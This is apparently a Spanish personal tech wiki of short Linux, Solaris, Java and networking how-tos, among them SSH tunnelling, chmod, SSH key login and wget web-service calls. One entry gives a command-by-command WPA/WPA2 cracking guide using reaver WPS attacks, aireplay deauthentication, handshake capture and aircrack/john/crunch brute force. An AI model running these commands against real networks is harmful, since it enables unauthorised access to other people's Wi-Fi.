[LINUX-Túnel SSH] Crear un túnel por medio de SSH en Linux

Un túnel por SSH puede servir para muchas cosas, en mi caso yo lo uso para conectarme a la computadora del trabajo, o en el trabajo para poder llegar a ciertos servidores que solo se les puede llegar por medio de otro equipo.

Lo único que necesitamos es tener instalado una aplicación llamada sshuttle, que se puede descargar de acá: https://github.com/apenwarr/sshuttle

Si se descarga de está pagina tendrán los binarios necesarios para la ejecución del programa, si no también se puede instalar de los repositorios en caso de que se utilice un SO como Ubuntu, mediante el siguiente comando:

 sudo apt-get install sshuttle

Una vez instalada la aplicación se puede ejecutar la misma como un demonio con la siguiente sintaxis:

 /ruta_del_binario/sshuttle -r USUARIO_SERVIDOR_TUNEL@IP_SERVIDOR_TUNEL:PUERTO IP_DESTINO | RANGO_IPS_DESTINO -D

• La opción "-r" indica que es hacia un servidor remoto
• USUARIO_SERVIDOR_TUNEL se reemplaza por el usuario de ssh del servidor que va a funcionar de túnel
• IP_SERVIDOR_TUNEL se reemplaza por la IP del servidor que se va a utilizar de túnel
• PUERTO el puerto de SSH del servidor, por lo general el 22, pero puede ser otro
• IP_DESTINO | RANGO_IPS_DESTINO se escribe la IP del equipo remoto al que se quiere llegar o atravesar por el túnel, o el rango de IPs esto asignando un /0 /8 /16 /24 al final de la IP
• La opción "-D" se utiliza para que el sshuttle se ejecute como demonio
• (Opcional) como opción opcional se puede utilizar el "-x" seguido de un espacio y la IP o rango de IPs(con formato /8 /16 /24) para excluir dichas IPs de utilizar el túnel SSH

Por ejemplo:

 sshuttle -r jonathan@74.125.24.99:22 0.0.0.0/0 -x 192.168.1.0/24 -x 10.0.0.0/8 -x 201.200.105.6 -D

En este ejemplo todo el tráfico(0.0.0.0/0) pasa por el servidor 74.125.24.99:22 excluyendo el rango de IPs que comiencen con 192.168.1 (192.168.1.0/24), además también excluye el rango de IPs que comiencen con 10 (10.0.0.0/8) y la IP 201.200.105.6, además de esto corre en el background como un demonio ("-D").

Lo que hago para no tener que escribir todas estas reglas cada vez que lo utilizo, es que lo escribo en script de bash y lo modifico cada vez que necesito agregar exclusiones.

*NOTA: El sshuttle, requiere el usuario de root para su ejecución en el equipo local

[Túnel SSH] Crear un túnel por medio de SSH en Windows

Un túnel por SSH puede servir para muchas cosas, en mi caso yo lo uso para conectarme a la computadora del trabajo, o en el trabajo para poder llegar a ciertos servidores que solo se les puede llegar por medio de otro equipo. Lo único que se necesita para realizar esto en Windows es un cliente de SSH llamado PuTTY. Para descargarlo pueden hacerlo de la siguiente página: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
*Esta aplicación no necesita instalarse, es portable. También existe un PuTTY en linux, pero hay una mejor forma de lograr esto en linux

Lo primero que se debe hacer es ingresar a la parte de "Session" y agregar la IP del equipo que vamos a utilizar de túnel o proxy con el respectivo puerto que utiliza para ssh (Por defecto es el 22). Se escoge la opción de SSH, y se le asigna un nombre en el campo de texto debajo de "Saved Sessions", en este ejemplo se le nombró "PROXY" y se le da clic a "Save" para guardar estos datos de conexión:

Seguidamente, le damos load si ya teniamos guardada la sesión o simplemente continuamos, se expanden las opciones de la izquierda de "Connection", expanden además "SSH" y se le da clic a la opción "Tunnels", en esta sección se deberá agregar los puertos con las direcciones destino:

Entonces supongamos que se quiere llegar a un equipo 192.168.1.100 por medio de escritorio remoto, entonces agregamos en esta sección de "Tunnels", el "Source port" sería cualquier puerto que tengamos disponible en ese momento, para el ejemplo el 2115, y el "Destination" que sería la IP a la que queremos llegar, en este caso 192.168.1.100:3389, se agregó ":3389" ya que este es el puerto que utiliza por defecto el Remote Desktop. Ya cuando definimos esto se le da clic a "Add", y si se quieren guardar los cambios se van a "Session" en donde se hizo el primer paso y se le da nuevamente clic al botón "Save".
Aprovechando que estamos en "Session", le damos open y nos logueamos al equipo que nos sirve de túnel

Por último para utilizarlo con el equipo de túnel logueado, abrimos el cliente de escritorio remoto y en la dirección del equipo ponemos localhost:2115 que fue el puerto que se asignó a ese tunel.
Si se quiere agregar más equipos a este mismo túnel se repite el paso 2 de agregar puertos a este túnel.

Muchas gracias a mi hermano Fabio Chavarría por explicarme como hacer esto en Windows

[SOLARIS] Comando para ver información del sistema

Otra entrada vieja de mi wiki, que me es útil de vez en cuando, no me encuentro con equipos solaris muy a menudo jeje
Comando:

 /usr/platform/`uname -i`/sbin/prtdiag

Ejemplo de output del comando:

 System Configuration: Sun Microsystems  sun4u Sun Fire V210
System clock frequency: 167 MHZ
Memory size: 2GB        

==================================== CPUs ====================================
              E$          CPU                    CPU
CPU  Freq      Size        Implementation         Mask    Status      Location
---  --------  ----------  ---------------------  -----   ------      --------
0    1002 MHz  1MB         SUNW,UltraSPARC-IIIi    2.4    on-line     MB/P0
1    1002 MHz  1MB         SUNW,UltraSPARC-IIIi    2.4    on-line     MB/P1

================================= IO Devices =================================
Bus     Freq  Slot +      Name +
Type    MHz   Status      Path                          Model
------  ----  ----------  ----------------------------  --------------------
pci     66    MB          pci108e,1648 (network)                           
              okay        /pci@1f,700000/network@2

pci     66    MB          pci108e,1648 (network)                           
              okay        /pci@1f,700000/network@2,1

pci     33    MB          isa/su (serial)                                  
              okay        /pci@1e,600000/isa@7/serial@0,3f8

pci     33    MB          isa/su (serial)                                  
              okay        /pci@1e,600000/isa@7/serial@0,2e8

pci     33    MB          isa/rmc-comm-rmc_comm (seria+                    
              okay        /pci@1e,600000/isa@7/rmc-comm@0,3e8

pci     33    MB          pci10b9,5229 (ide)                               
              okay        /pci@1e,600000/ide@d

pci     66    MB          scsi-pci1000,21 (scsi-2)                         
              okay        /pci@1c,600000/scsi@2

pci     66    MB          scsi-pci1000,21 (scsi-2)                         
              okay        /pci@1c,600000/scsi@2,1

pci     66    MB          pci108e,1648 (network)                           
              okay        /pci@1d,700000/network@2

pci     66    MB          pci108e,1648 (network)                           
              okay        /pci@1d,700000/network@2,1


============================ Memory Configuration ============================
Segment Table:
-----------------------------------------------------------------------
Base Address       Size       Interleave Factor  Contains
-----------------------------------------------------------------------
0x0                1GB               4           BankIDs 0,1,2,3
0x1000000000       1GB               4           BankIDs 16,17,18,19

Bank Table:
-----------------------------------------------------------
           Physical Location
ID       ControllerID  GroupID   Size       Interleave Way
-----------------------------------------------------------
0        0             0         256MB           0,1,2,3
1        0             1         256MB           
2        0             1         256MB           
3        0             0         256MB           
16       1             0         256MB           0,1,2,3
17       1             1         256MB           
18       1             1         256MB           
19       1             0         256MB            

Memory Module Groups:
--------------------------------------------------
ControllerID   GroupID  Labels         Status
--------------------------------------------------
0              0        MB/P0/B0/D0    
0              0        MB/P0/B0/D1    
0              1        MB/P0/B1/D0    
0              1        MB/P0/B1/D1    
1              0        MB/P1/B0/D0    
1              0        MB/P1/B0/D1    
1              1        MB/P1/B1/D0    
1              1        MB/P1/B1/D1

[LINUX] Comando CHMOD para cambiar permisos

Esta entrada es viejita, pero siempre me recuerda como funcionan los permisos en sistemas UNIX, además que voy a dejar de pagar mi sitio y estoy re-escribiendo cosas de mi wiki jeje

Para cambiar el los permisos a uno o varios archivos, se ejecuta el comando chmod ### donde # son números del 1 al 7, y donde el primero representa los permisos del usuario, el segundo el grupo y el tercero representa a otros.

Estos valores son la suma de los siguiente permisos que se quieren asignar:

• 1 ejecución
• 2 escritura
• 4 lectura 

Ejemplos:
Si se quiere asignar permisos de ejecución + escritura + lectura se asigna un 7:

 1   +    2    +    4   =   7

Si todos (usuario, grupo y otros) tienen permiso a ejecución + escritura + lectura entonces se ejecuta el comando:

 chmod 777 nombre_archivo 

*Nota: nunca deberían de utilizar permisos 777 sobre ficheros importantes, quieren simplificar la administración y darle permisos a todos, mejor usen Windows jeje

Si se quiere asignar permisos de ejecución + lectura se asigna un 5:

 1   +    4             =   5

Si el usuario tiene todos los permisos, el grupo y otros tienen ejecución + lectura entonces se ejecuta el comando:

 chmod 755 nombre_archivo

Para solo escritura 2:

 chmod 722 nombre_archivo

Además si desean realizar cambios en permisos sobre un directorio y todo su contenido simplemente agregan -R al comando:

 chmod -R 755 directorio 

[LINUX] Porcentaje de espacio reservado en disco para root

En Linux existe un espacio reservado en cada partición del disco duro, este espacio es reservado para procesos privilegiados para evitar la fragmentación del sistema de archivos y para permitir a algunos demonios de sistema, como el syslogd(8), continuar funcionando y escribiendo en disco correctamente después de que no se le permita escribir en el sistema de archivos a los procesos de usuarios no privilegiados.

También funciona para restaurar el sistema en caso de que los usuarios normales (no root) llenen el disco hasta un 100%, ya que si esto sucede ningún usuario puede iniciar sesión, con este porcentaje reservado se le permite al root ingresar y poder liberar o restaurar el sistema, y de no asignar este espacio, tampoco podrá iniciar sesión.

Para poder revisar el porcentaje de este espacio asignado en el sistema, se puede ejecutar el siguiente comando:

 dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count") { rescnt=$2 } } { if($1 == "Block count") { blkcnt=$2 } } END { print "Reserved blocks: "(rescnt/blkcnt)*100"%" }'

En donde /dev/sda1 se debe cambiar por la partición en la que queremos revisar este espacio reservado si el resultado de este comando es "Reserved blocks: -nan%", quiere decir que tiene 0% reservado, pero en el comando no se puede realizar la división entre ceros. 

Normalmente por defecto se le asigna 5% de espacio reservado de cada partición que se tenga. Como este valor fue asignado hace mucho tiempo, cuando los discos eran muy pequeños, en caso de tener un disco duro muy grande lo recomendado es cambiar este porcentaje ya que de lo contrario se estaría desperdiciando mucho espacio y en caso de tener que hacer una restauración no se va a utilizar un espacio tan grande para trabajar. 

Para discos duros de más de 1TB yo cambiaría el porcentaje a un 1%, que a mi parecer es más que suficiente para restaurar un sistema. 

Para cambiar la cantidad de espacio reservado por el sistema, y liberarnos bastante espacio para los archivos del sistema y demás, se puede ejecutar el siguiente comando como usuario root:

 tune2fs -m 0 /dev/sda1

En este caso se quitó totalmente el espacio reservado asignando 0% de espacio, este espacio puede variar según la necesidad del usuario, o el uso que se le de a la partición.

[LINUX] Autenticación con SSH PKA, sin necesidad de escribir la contraseña

Esta información de como autenticar con ssh la saqué de una wiki de mi trabajo, que con el permiso de un compañero de trabajo (Luis González), tomé algunas cosas para transmitir esta utilidad.

"En condiciones de seguridad confirmada, es decir, que tenemos certeza y control de los equipos y del usuario que utilizamos para ingresar por medio de SSH, es posible modificar el método de autenticación con el demonio SSH. En algunos escenarios es útil basar la autenticación por medio de intercambio de llaves públicas, en inglés PKA (Public Key Authentication). Por ejemplo, para la ejecución de scripts automatizados y remotos es muy útil basar la autenticación por medio de la llave pública, de este modo se disminuye el tiempo de respuesta y la complejidad del script para interactuar con los elementos remotos."  Luis G.

Lo primero que debemos hacer es generar la llave en el equipo local y esto se puede lograr con el siguiente comando:

jonathan@xxxxxx:~$ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/jonathan/.ssh/id_rsa): 
/home/jonathan/.ssh/id_rsa already exists.
Overwrite (y/n)? Y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/jonathan/.ssh/id_rsa.
Your public key has been saved in /home/jonathan/.ssh/id_rsa.pub.

Seguidamente debemos copiar esta llave al equipo remoto puede hacerse, sobreescribiendo el archivo de authorized_keys, si no se tiene ninguna otra llave, o con el siguiente comando:

scp -P $puerto_equipo remoto ~/.ssh/id_rsa.pub jonathan@$ip_equipo_remoto:.ssh/authorized_keys

Además se deben asegurar de que las carpetas de .ssh y el archivo de authorized_keys, tenga los permisos adecuados y que existan obviamente, si no existen se crean y probablemente se deba configurar el sshd:

chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Ahora debería de poderse conectar mediante ssh sin necesidad de digitar la contraseña:

Si por alguna razón nos da un error con el siguiente texto: 
"Agent admitted failure to sign using the key." entonces, ejecutamos el siguiente comando:
 

ssh-add

[SMPP] Tiempo de expiración de los mensajes

Tiempo de expiración Relativo

Consta del tiempo de expiración que tiene el mensaje una vez que llega al SMSC.
Se descompone de "YYMMDDHHMISS000R" donde:

• YY = Años
• MM = Meses
• DD = Días
• HH = Horas
• MI = Minutos
• SS = Segundos
• 000R = Se dejan estos campos en "0" y con una "R" al final para indicar que es expiración relativa a la llegada del mensaje al SMSC.

Ejemplos

• 020610233429000R = 2 años, 6 meses, 10 días, 23 horas, 34 minutos, 29 segundos a partir de la hora del SMSC.
• 000000000100000R = 1 minuto a partir de la hora de la llegada al SMSC.
• 000000010000000R = 1 hora a partir de la hora de la llegada al SMSC. 

Para obtener un poco más de información pueden visitar este enlace. Es un foro en inglés que habla sobre este tema.

[JAVA] Como dar formato a las fechas en java

Para utilizar el SimpleDateFormat en java, se crea un nuevo objeto de este tipo con esta sintaxis:
 

 import java.text.SimpleDateFormat;  
 SimpleDateFormat sdf = new SimpleDateFormat(variable_string_con_el_formato);  

De manera que después cualquier objeto Date se puede parsear a formato String y viceversa. 
 
Ejemplos: 
 
Declarar el objeto simple format para el formato de fecha DD-MM-YYYY:
 

 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  

Convertir la fecha actual a este formato en String:

 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  
 Date fechaActual = new Date();  
 String fechaConFormato = sdf.format(fechaActual);  

Convertir un campo de tipo String a formato Date: 
 

 import java.text.ParseException;  
 import java.text.SimpleDateFormat;  
 import java.util.Date;  
 SimpleDateFormat sdf = new SimpleDateFormat("dd-MM-yyyy");  
 try{  
   Date nuevaFecha = sdf.parse("01-11-1987");  
 }catch(ParseException pe){  
 }  

Posibles formatos de fecha aceptados por el objeto:

Letter	Date or Time Component	Presentation	Examples
G	Era designator	Text	AD
y12px	Year	Year	1996; 96
M	Month in year	Month	July; Jul; 07
w	Week in year	Number	27
W	Week in month	Number	2
D	Day in year	Number	189
d	Day in month	Number	10
F	Day of week in month	Number	2
E	Day in week	Text	Tuesday; Tue
a	Am/pm marker	Text	PM
H	Hour in day (0-23)	Number	0
k	Hour in day (1-24)	Number	24
K	Hour in am/pm (0-11)	Number	0
h	Hour in am/pm (1-12)	Number	12
m	Minute in hour	Number	30
s	Second in minute	Number	55
S	Millisecond	Number	978
z	Time zone	General time zone	Pacific Standard Time PST GMT-08:00
Z	Time zone	RFC 822 time zone	-0800

Recuperado el 20-Set-2011 de http://download.oracle.com/javase/1.4.2/docs/api/java/text/SimpleDateFormat.html

[LINUX] Crackear una WPA/WPA2 con airodump, aireplay, aircrack y una lista de palabras

ACTUALIZADO 2016-12-15 Esta entrada, se hace únicamente con propósitos meramente académicos sobre como acceder a una red inalambrica, cualquier uso delictivo que se le de a esta información, está fuera de mi responsabilidad.
 
Primero debemos habilitar el monitoreo en la interfaz de red inalámbrica. 
Para habilitar este monitoreo debemos ejecutar el comando airmon-ng, es importante que cuando se utilice este monitoreo no exista en ejecución ningún proceso que utilice la red inalambrica, de lo contrario se va a retrasar o no va a funcionar bien el monitoreo. Dejo un comando para matar cualquier proceso que utilice la interfáz de red inalambrica y el de iniciar el monitoreo.
Matar cualquier proceso (A veces se debe ejecutar varias veces):

airmon-ng check kill

Iniciar el modo de monitoreo:

airmon-ng start <NOMBRE_INTERFAZ>
Ejemplo: airmon-ng start wlan0

Una vez se tenga este monitoreo que por lo general se le asigna el nombre mon0 o wlan0mon, se pueden hacer dos formas de hackeo, la más sencilla es con reaver, pero funciona solo si el router o access point tiene la opción WPS activada. De lo contrario podemos ejecutar el airodump-ng para capturar paquetes e intentar capturar un handshake (saludo cuando se conecta un usuario a la red).
Para hackear una red con WPS activo (forma más simple), debemos utilizar reaver con los siguientes parámetros (el parámetro -K es solo si tenemos instalada la versión de reaver modificada que permite un hackeo utilizando pixie dust, que es un método que no siempre funciona pero que agiliza el proceso de hackeo, y permite dar con el pin de WPS en unos minutos):

reaver -i <NOMBRE_INTERFAZ> -b <MAC_ACCESS_POINT> -c <CANAL> [-K 1]
Ejemplos: 
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11 -K 1 #Dura menos pero requiere versión modificada de reaver
reaver -i wlan0mon -b 00:11:22:33:44:55 -c 11

 airodump-ng -w prefijo_captura --bssid <MAC_ACCESS_POINT> -c <CHANNEL> <INTERFAZ_MONITOREO>  
Ejemplo: airodump-ng -w captura --bssid 00:11:22:33:44:55 -c 11 wlan0mon

Una vez tengamos esto debemos esperar a que se realice algún handshake (puede darse en una conexión exitosa) que el airodump pueda capturar (requiere que existan clientes en el access point), para esto podemos forzar una desconexión de alguno de los clientes conectados para que este tenga que volver a realizar un handshake y poder capturarlo (Es necesario que el comando anterior esté en ejecución al momento de hacer este otro comando): 

 aireplay-ng --deauth <INTENTOS> -a <MAC_ACCESS_POINT> -c <MAC_CLIENTE> <INTERFAZ_MONITOREO>  
Ejemplo: aireplay-ng --deauth 999 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0mon

Una vez exita aparezca en el airodump el handshake registrado, se procede a utilizar el aircrack para intentar descifrar el password utilizando una lista de palabras o la fuerza bruta: 

 aircrack-ng <ARCHIVO_DE_CAPTURA> -w <ARCHIVO_DE_PALABRAS> -l <ARCHIVO_ALMACENA_PASSWORD>
 <ARCHIVO_DE_CAPTURA> = Por lo general se llama capture-01.cap, siendo 01 el consecutivo de cuantas veces se haya realizado capturas.  
Ejemplo: aircrack-ng captura-01.cap -w lista_palabras.txt -l contraseña_lista.txt

Tambien se puede utilizar alguna utilidad como john o hashcat o crunch para generar contrasenas por fuerza bruta (modo maś lento pero seguro requiere de una computadora con buen procesador para que dure menos tiempo, pero siempre puede durar días enteros)(para revisar cuales modos tienen instalados de john pueden hacer un "ls -l /usr/share/john/*.chr"):

 john --incremental=<MODE> --stdout=<LARGO> | aircrack-ng -a [WEP=1|WPA=2] -b <MAC_ACCESS_POINT> -w - <ARCHIVO_DE_CAPTURA>  
Ejemplo: john --incremental=digits --stdout=12 | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - captura-01.cap

crunch <LARGO_MIN> <LARGO_MAX> <CARACTERES_A_PROBAR> | <COMANDO_DE_AIRCRACK>
Ejemplo: crunch 8 8 abcdefghijklmnñopqrstuvwxyz\ \-0123456789 | aircrack-ng -a 2 -b 00:11:22:33:44:55 -w - captura-01.cap -l contraseña_lista.txt

[JAVA] Empaquetar aplicaciones y sus librerias en un solo jar con NetBeans

Por lo general cuando queremos empaquetar aplicaciones con NetBeans, cuando hacemos un Clean and Build se genera un jar con sus respectivas librerias fuera del jar. 

Si queremos que estas librerias se empaqueten también y generar un solo jar, solo se debe agregar el siguiente código al final del archivo build.xml antes del tag de cierre "</project>":

 <target name="package-for-store" depends="jar">  
     <!-- Cambien el valor de esta propiedad para dar el nombre al JAR,  
        sin la extensión .jar. No debe tener espacios.  
        <property name="store.jar.name" value="NombreDelJar"/>  
     -->  
     <property name="store.jar.name" value="NombreDelJar"/>  
     <!-- No editar nada después de esta línea -->  
     <property name="store.dir" value="store"/>  
     <property name="store.jar" value="${store.dir}/${store.jar.name}.jar"/>  
     <echo message="Packaging ${application.title} into a single JAR at ${store.jar}"/>  
     <delete dir="${store.dir}"/>  
     <mkdir dir="${store.dir}"/>  
     <jar destfile="${store.dir}/temp_final.jar" filesetmanifest="skip">  
       <zipgroupfileset dir="dist" includes="*.jar"/>  
       <zipgroupfileset dir="dist/lib" includes="*.jar"/>  
       <manifest>  
         <attribute name="Main-Class" value="${main.class}"/>  
       </manifest>  
     </jar>  
     <zip destfile="${store.jar}">  
       <zipfileset src="${store.dir}/temp_final.jar"  
       excludes="META-INF/*.SF, META-INF/*.DSA, META-INF/*.RSA"/>  
     </zip>  
     <delete file="${store.dir}/temp_final.jar"/>  
   </target>  

Después de esto, le damos Clean and Build, al proyecto y seguidamente, en el tab de Files, en NetBeans, le damos clic derecho al build.xml, y le damos clic a Run Target -> Other Targets -> package_for_store.

Una vez termine de empaquetar tendremos el jar deseado, en la carpeta "store" dentro de la carpeta del proyecto.

[LINUX] Convertir una carpeta con estructura DVD (VIDEO TS) a una imagen de tipo ISO

Para poder convertir una carpeta de DVD a una imagen ISO, lo único que se necesita es tener instalada la aplicación "mkisofs", y a continuación ejecutarla con los siguientes parámetros desde una terminal: 

 mkisofs -dvd-video -o "/ruta/donde/crea/el/iso/nombre de la imagen.iso" "/ruta/donde/se/encuentra/la/carpeta/dvd/"   

Con esto se convertirá la esta carpeta en una imagen iso, funcional en cualquier reproductor de DVD.

[LINUX] Como consumir un Web Service con WGET

Para consumir un Web Service con wget solo se aplica la siguiente sintaxis:

 wget "http://url_of_my_web_service?param1=123&param2=abc" --post-file="parametros_a_consultar.xml" --header="Content-Type:text/xml"  

Donde --post-file="xmlTestFile.xml" debe estar en la ruta en donde se está ejecutando el wget o especificar la ruta del mismo, este xml contiene los parámetros que va a consumir el Web Service en caso de que esté definido así. Si el Web Service no necesita de parámetros un xml, entonces solamente se aplican los parámetros del url como en el ejemplo y se omite el --post-file y el --header no sería xml. 

Para escribir la salida de la respuesta del Web Service, se le agrega a la sentencia --output-document="resultado.xml" que va a generar el xml de salida del Web Service 

También en caso de que no se quiera enviar el archivo xml como parámetros del web service se puede cambiar --post-file por --post-data="string de parámtros"